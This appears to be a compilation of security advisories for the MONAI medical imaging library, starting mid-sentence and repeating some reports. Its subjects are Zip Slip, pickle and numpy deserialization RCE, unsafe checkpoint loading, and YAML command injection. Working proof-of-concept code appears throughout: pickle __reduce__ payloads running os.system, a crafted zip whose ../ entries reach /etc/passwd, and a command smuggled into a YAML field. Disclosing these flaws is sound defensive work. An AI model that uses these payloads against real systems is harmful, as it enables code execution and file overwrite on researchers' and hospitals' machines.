attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  

#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.

import os  
import tempfile  
import json  
import torch  
from pathlib import Path  
  
class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  
  
def test_checkpoint_loader_attack():  

      

    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  
      

    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  
      

    torch.save(malicious_checkpoint, checkpoint_file)  
      
     
    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  
          
 
    model = nn.Linear(10, 1)  
        
    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  
          
    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  
          
    engine = MockEngine()  
    loader(engine)  
          
          
    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  
  
if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()  

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Summary

The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle  
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
  adding: malicious.txt (stored 0%)
  adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip  p1.py  p2.py  r1.py  test_bundle

Then start the http service through python

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---


test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
